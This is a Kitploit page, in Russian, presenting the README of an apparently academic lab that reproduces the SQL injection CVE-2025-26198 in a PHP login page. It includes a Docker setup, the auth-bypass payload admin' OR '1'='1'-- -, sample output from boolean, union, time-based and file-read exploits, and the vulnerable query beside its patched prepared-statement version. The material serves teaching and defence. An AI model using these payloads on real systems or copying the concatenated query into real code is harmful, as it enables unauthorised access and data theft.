Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-26198 — Учебное воспроизведение SQL-инъекции CVE-2025-26198 в CloudClassroom-PHP-Project, демонстрирующее четыре техники эксплуатации (boolean, union, time-based, чтение файлов) со сравнением с исправленной версией. | Kitploit
Инструменты/GitHubGitHub/wailyacoubi9/cve-2025-26198
Анализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеБезопасность Баз Данных
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Учебное воспроизведение SQL-инъекции CVE-2025-26198 в CloudClassroom-PHP-Project, демонстрирующее четыре техники эксплуатации (boolean, union, time-based, чтение файлов) со сравнением с исправленной версией.

Репозиторий
17 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-26198 - Демонстрация SQL-инъекции

Академический проект ENSIMAG - Безопасность 3A
Авторы: Wail Yacoubi, Mohammed-Yassine Akhmari
Дата: Январь 2026


Предупреждение

Этот код намеренно уязвим в образовательных целях.
Никогда не развертывайте в production.


Описание

Воспроизведение CVE-2025-26198: критическая SQL-инъекция в CloudClassroom-PHP-Project v1.0.

Характеристики CVE:

  • Идентификатор: CVE-2025-26198
  • Оценка CVSS: 9.8/10 (Критическая)
  • Тип: SQL Injection (CWE-89)
  • Уязвимый компонент: loginlinkadmin.php
  • Воздействие: Обход аутентификации + полное извлечение БД

Официальная ссылка: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Цель

Продемонстрировать 4 техники эксплуатации SQL-инъекции:

  1. Boolean-based - Обход аутентификации
  2. Union-based - Извлечение данных
  3. Time-based Blind - Обнаружение по задержке
  4. File Read - Чтение системных файлов

Установка

Предварительные требования

  • Docker и Docker Compose
  • Python 3.x
  • Установить requests: pip install requests

Запуск

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

Приложение доступно по адресу http://localhost:8081


Эксплуатация

Метод 1: Вручную (браузер)

  1. Перейти на http://localhost:8081

  2. Заполнить форму:

    • Username: admin' OR '1'='1'-- -
    • Password: anything
  3. Нажать Login

Результат: Вход администратора выполнен успешно без действительного пароля.

Объяснение:

Полезная нагрузка преобразует SQL-запрос:

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

OR '1'='1' всегда истинно, а -- - комментирует остальное.


Метод 2: Python-скрипты

Простой скрипт

root@kitploit:~
python exploit_simple.py http://localhost:8081

Ожидаемый вывод:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Полный скрипт (4 техники)

root@kitploit:~
python exploit.py http://localhost:8081

Ожидаемый вывод:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Исправленная версия

Протестировать защищенную версию с подготовленными запросами:

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

Ожидаемый результат:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

Атака блокируется проверкой входных данных и подготовленными запросами.

Вернуть уязвимую версию:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Сравнение версий

АспектУязвимая версияИсправленная версия
SQL-запросПрямая конкатенацияPrepared statement PDO
Проверка вводаНетАлфавитно-цифровое регулярное выражение
Экранирование выводаНетhtmlspecialchars()
SQL-инъекцияЭксплуатируемаЗаблокирована
ЛогиНетerror_log()

Уязвимый код:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Безопасный код:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Структура проекта

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Устранение неполадок

Контейнер web не запускается

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

Эксплойт не работает

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

Порт уже используется

Изменить docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

Документация

Смотрите RAPPORT.md для детального анализа, включающего:

  • Механизм уязвимости
  • Архитектура системы
  • Рекомендации по обеспечению безопасности
  • Лучшие практики разработки

Ссылки

  • Официальная CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Исходный проект: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

Отказ от ответственности

Проект разработан исключительно в образовательных целях в рамках курса кибербезопасности ENSIMAG.

Разрешенное использование:

  • Обучение и подготовка
  • Тестирование на разрешенных средах

Запрещенное использование:

  • Атаки на реальные системы
  • Вредоносное использование

Любое использование вне академических рамок строго запрещено и незаконно.


Авторы
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Выпуск 2026
Курс: Безопасность 3A

Скачать инструмент